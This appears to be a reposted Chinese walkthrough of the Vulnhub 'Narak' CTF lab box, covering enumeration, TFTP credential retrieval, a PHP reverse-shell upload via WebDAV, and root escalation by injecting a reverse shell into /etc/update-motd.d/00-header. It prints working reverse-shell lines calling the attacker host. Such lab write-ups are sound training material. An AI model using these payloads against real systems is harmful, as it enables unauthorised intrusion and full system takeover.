Narak靶机渗透 (Vulnhub内网渗透)

news/2024/11/5 15:52:29/文章来源:https://www.cnblogs.com/kgty/p/18524606

一、渗透目标:

Description
Back to the Top
Narak is the Hindu equivalent of Hell. You are in the pit with the Lord of Hell himself. 
Can you use your hacking skills to get out of the Narak? Burning walls and demons are 
around every corner even your trusty tools will betray you on this quest. Trust no one. 
Just remember the ultimate mantra to escape Narak “Enumeration”. After getting the root you
will indeed agree “Hell ain’t a bad place to be”.Objective: Find 2 flags (user.txt and root.txt)

需要拿到两个 flag值,分别位于 user.txt 和 root.txt中,root.txt需要获取root权限才能读取 -> 需要进行提权。

二、环境准备:

1、攻击机 -> Kali_linux -> ip:192.168.80.129
2、靶机:https://download.vulnhub.com/ha/narak.ova

三、渗透记录:

1、内网信息搜集:

(1) 查看内网存活主机:

nmap -sn 192.168.80.0/24

image

探测到目标主机内网ip为 192.168.80.130

(2) 探测目标主机存活端口:

nmap --min-rate 10000 192.168.80.130

image

探测到目标主机 22、80端口开放

(3) 探测两个存活端口的详细信息:

nmap -sT -sV -sC -O -p22, 80 192.168.80.130

image

未发现可利用敏感信息

(4) TCP扫描探测结束,进行UDP协议探测:

先使用全端口扫描:

nmap -sU --min-rate 10000 192.168.80.130

image

全端口扫描结果显示没有探测到开放端口。

再使用 top20 端口进行扫描:

nmap -sU --min-rate 10000 --top-ports 20 192.168.80.130

image

与全端口探测不同,这次探测到有部分端口开放,这就是 nmap可能存在欺骗的点。

(5) 使用 gobuster 进行目录爆破:

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.80.130

image

共爆破出三个路径:
/images, /webdav, /server-status

其中 /images 目录为图片目录,无敏感信息与文件上传接口:
image

/webdav目录需要使用账密进行登录

WebDAV(Web Distributed Authoring and Versioning,即“Web分布式创作和版本控制”)是一种基于HTTP
协议的扩展,它允许用户通过网络远程管理和编辑文件。简单来说,WebDAV 让你可以在网上像操作本地文件一
样操作远程服务器上的文件。

image

(6) 但是 gobuster工具默认对某些特定目录不进行扫描爆破,手动添加未扫描后缀进行爆破:

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x zip,rar,txt,sql,php,html -u http://192.168.80.130

image

探测到 /tips.txt,使用 curl命令访问 /tips.txt

curl http://192.168.80.130/tips.txt

image

文件内容提示 "地狱之门位于 creds.txt 文件中"

2、tftp渗透:

TFTP(Trivial File Transfer Protocol,简单文件传输协议)是TCP/IP协议族中的一个用来在客户机与服务
器之间进行简单文件传输的协议,提供不复杂、开销不大的文件传输服务。端口号为69。

(1) 尝试利用 tftp协议,将 creds.txt文件从目标靶机服务器中下载下来并进行读取:

//首先 tftp协议连接靶机:
tftp 192.168.80.130//将 creds.txt从目标靶机服务器中下载下来
get creds.txt//下载结束后断开连接
quit

image

(2) 使用 Kali攻击机进行读取:

cat /creds.txt

image

进行base64解码后得到一套账密。

(3) 首先猜测为 ssh连接账密,尝试ssh连接:

ssh yamdoot@192.168.80.130

image

密码错误,此账密非 ssh连接账密,于是判断其为 wevdav连接账密。

3、webdav渗透:

(1) 登录 webdav后,可以看到webdav中管理的文件,可以采取上传木马的方式,进行反弹shell,以此getshell获取初步权限:

image

(2) 查看当前用户有哪些文件的上传权限,以此来判断上传什么类型的木马:

davtest -url http://192.168.80.130/webdav -auth yamdoot:Swarg

image

可以看到有 .php, .html, .txt三种文件类型的上传权限,所以可以采用上传.php木马的方式 getshell

(3) 构造 shell.php:

//首先新建 shell.php文件
vim shell.php//使用 vim命令写入shell命令并保存:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.80.129/2333 0>&1'");?>

image

image

(4) 利用cadaver上传 shell.php:

//连接 webdav
cadaver http://192.168.80.130/webdav -> 账密 yamdoot:Swarg//上传 shell.php
put shell.php

image

(5) 利用shell.php 文件 getshell:

在Kali_linux本地起一个监听,监听 2333端口:

nc -lnvp 2333

image

访问 shell.php 进行反弹shell:

image

成功 getshell:

image

5、渗透 getshell:

(1) 筛选并查看可以利用的提权文件:

find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null

image

(2) 可以看到存一个 名为/mnt/hell.sh的shell脚本文件,读取其中信息:

cat /mnt/hell.sh

image

内容包含一段密文,该密文是一段名为 "brainfuck" 的编程语言,利用工具对其进行解密即可:

在 Kali_linux攻击机本地创建一个 hell.bf文件并将密文写入,随后使用工具解密:

//创建 hell.bf
vim hell.bf//使用 beef工具解密:
beef hell.bf

image

得到解密后的密文 : chitragupt

(3) 猜测 chitragupt 可能为某用户的密码,于是查看 /etc/passwd 配置文件,配合文件中的用户名进行匹配测试:

cat /etc/passwd

image

可得系统中存在四个用户,分别是 root, narak, yamdoot, inferno

在 Kali_linux本地攻击机,使用 ssh连接和密码去和每一个用户进行匹配测试:

image

成功连接 inferno用户,获取用户权限。

(4) 查找并获取flag,经搜索,flag位于 user.txt中:

//查看所有文件
ls -all//获取flag -> user.txt
cat user.txt

image

6、渗透提权:

(1) 查看当前用户权限:

sudo -l

image

当前 inferno用户没有使用 sudo命令的权限,只能采用他法。

(2) 同理使用命令查看可能进行提权的敏感文件:

find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null

image

可以看到 interfo用户拥有对 /etc/update-motd.d/ 文件的写权限。

(3) motd渗透:

motd(Message of the Day)是Unix和类Unix系统(如Linux)中的一种机制,用于在用户登录时显示一条消
息。这个消息通常包含系统信息、警告、通知或其他重要信息。/etc/update-motd.d/是一个目录,包含多个脚本文件,这些脚本在用户登录时会被依次执行,生成动态的
motd 内容。

其中 /etc/update-motd.d/00-header作用即为显示用户登录时的 "欢迎登录" 的信息。
此时 inferno用户拥有对 /etc/update-motd.d/00-header的写权限,可以在 /etc/update-motd.d/00-header中写入shell,用户登录时自动执行shell,以此反弹 root管理员的权限,从而进行 root getshell。

echo "/bin/bash 'bash -i >& /dev/tcp/192.168.80.129/2333 0>&1' >> /etc/update-motd.d/00-header"

image

起一个监听,监听2333端口,并重新ssh连接 inferno用户,使其触发反弹shell:

image

成功获取 root权限。进入 root目录,访问 root.txt,即可获取 flag2:

image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/826613.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

乐维网管平台(四):配置化数据报表应用

在网络管理中,报表功能是一项非常重要的功能,它通过统计与分析各种类型数据,为网络管理员决策提供数据支撑。 一、配置化数据报表概述 基于不同行业、不同客户、不同应用场景,乐维网管平台提供了配置化报表功能。配置化数据报表允许用户根据实际需求,灵活配置并生成多种类…

Nuxt.js 应用中的 nitro:build:before 事件钩子详解

title: Nuxt.js 应用中的 nitro:build:before 事件钩子详解 date: 2024/11/4 updated: 2024/11/4 author: cmdragon excerpt: nitro:build:before 是 Nuxt 3 中的一个生命周期钩子,专门用于在构建 Nitro 实例之前调用。这个钩子允许开发者在 Nitro 实例构建之前执行特定的…

Chrome 130 版本新特性 Chrome 130 版本发行说明YN

Chrome 130 版本新特性& Chrome 130 版本发行说明 一、Chrome 130 版本浏览器更新 1. 新的桌面提示 Chrome 130 引入了一种新的 Toast 样式,用于在用户操作后提供视觉确认,或快速提供后续操作的途径。 当用户执行某个操作时,Toast 会在屏幕上短暂弹出,确认操作成功或提…

不同阻尼比的图形代码

import numpy as np import matplotlib.pyplot as plt# 定义二阶系统参数 omega_n = 1.0 # 无阻尼自然频率 t = np.linspace(0, 20, 1000)# 不同阻尼比 zeta_values = [0,1, 0.5, 1.0, 2.0]for zeta in zeta_values:if zeta == 1.0:# 临界阻尼x = (1 + omega_n * t) * np.exp(…

连续邮资问题-分支限界法求解

此为课题组所指导本科生和低年级硕士生学习组合优化问题汇报 所用教材:北京大学屈婉玲教授《算法设计与分析》 课程资料:https://www.icourse163.org/course/PKU-1002525003 承诺不用于任何商业用途,仅用于学术交流和分享 更多内容请关注许志伟课题组官方中文主页:https://…

《AI创作背景后的版权陷阱》学习笔记

1. AI内容生产,会侵犯他人版权吗? 2. 我用AI生产内容,我享有版权吗? 3. 如果我享有版权的话,我该怎么保护?别人盗用我的作品怎么办?(一)只是产权主要包括 ## 版权的标志 01 版权:版权即著作权 指文学、艺术、科学作品的作者对其作品享有的权利。 保护对象:具有独创性…

ubuntu 安装postgre

1.安装PostgreSQL并设置用户和密码1.1 使用ctrl+alt+t打开终端并安装安装sudo apt-get install postgresql-clientsudo apt-get install postgresql启动sudo service postgresql start进入控制台 sudo -u postgres psql创建用户create user dxqa with password dxq@123456;修改…

美团面试:Mysql 有几级缓存? 每一级缓存,具体是什么?

文章很长,且持续更新,建议收藏起来,慢慢读!疯狂创客圈总目录 博客园版 为您奉上珍贵的学习资源 : 免费赠送 :《尼恩Java面试宝典》 持续更新+ 史上最全 + 面试必备 2000页+ 面试必备 + 大厂必备 +涨薪必备 免费赠送 :《尼恩技术圣经+高并发系列PDF》 ,帮你 实现技术自由,…

Ubuntu20.04挂载新硬盘

一、硬盘分区 | Hard disk add new partition 1、显示硬盘及所属分区情况。在终端窗口中输入如下命令: sudo fdisk -l 显示当前的硬盘及所属分区的情况。如下图所示:系统提示:DIsk /dev/sdb doesnt contain a valid partition table。 2、对硬盘进行分区。在终端窗口中输入…

[快速阅读九] 自适应中值滤波及保守滤波在去除椒盐噪音或脉冲噪音上的应用。

去除椒盐噪音或脉冲噪音最经典的算法是中值滤波,通常在噪声的密度不是很大的情况下,使用中值效果不错。但当概率较大时,普通中值已经难以胜任,此时自适应中值滤波的处理效果简直就是逆天,基本完美的复现了原图,有的时候我自己都不敢相信这个结果,而保守滤波采用了稍微不…

[快速阅读] 自适应中值滤波及保守滤波在去除椒盐噪音或脉冲噪音上的应用。

去除椒盐噪音或脉冲噪音最经典的算法是中值滤波,通常在噪声的密度不是很大的情况下,使用中值效果不错。但当概率较大时,普通中值已经难以胜任,此时自适应中值滤波的处理效果简直就是逆天,基本完美的复现了原图,有的时候我自己都不敢相信这个结果,而保守滤波采用了稍微不…

瑞芯微RK3566开发板OpenHarmony标准系统应用兼容性测试指导

本文OpenHarmony标准系统应用兼容性测试指导,适用鸿蒙系统软件开发测试的新手入门学习课程。设备为触觉智能的瑞芯微RK3566开发板,型号Purple Pi OH。是Laval官方社区主荐的一款鸿蒙开发主板。支持Openharmony、安卓Android、Linux的Debian、Ubuntu系统。本文OpenHarmony标准…